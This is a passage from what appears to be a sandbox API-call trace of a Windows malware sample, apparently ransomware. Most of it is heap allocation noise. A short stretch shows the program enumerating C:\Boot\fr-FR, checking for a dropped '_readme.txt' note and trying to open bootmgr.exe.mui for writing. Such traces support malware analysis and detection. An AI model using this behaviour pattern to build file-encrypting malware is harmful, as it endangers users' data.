lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.791] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.791] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.792] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.792] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.793] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.793] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.794] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0066.794] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.794] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.794] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.794] PathFindFileNameW (pszPath="") returned="" [0066.794] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.794] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.795] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.795] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.795] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0066.795] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.795] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.795] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.795] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.795] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0066.795] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.795] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.795] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned=".txt" [0066.795] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.796] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.796] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.796] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.796] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.796] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.797] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.798] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, 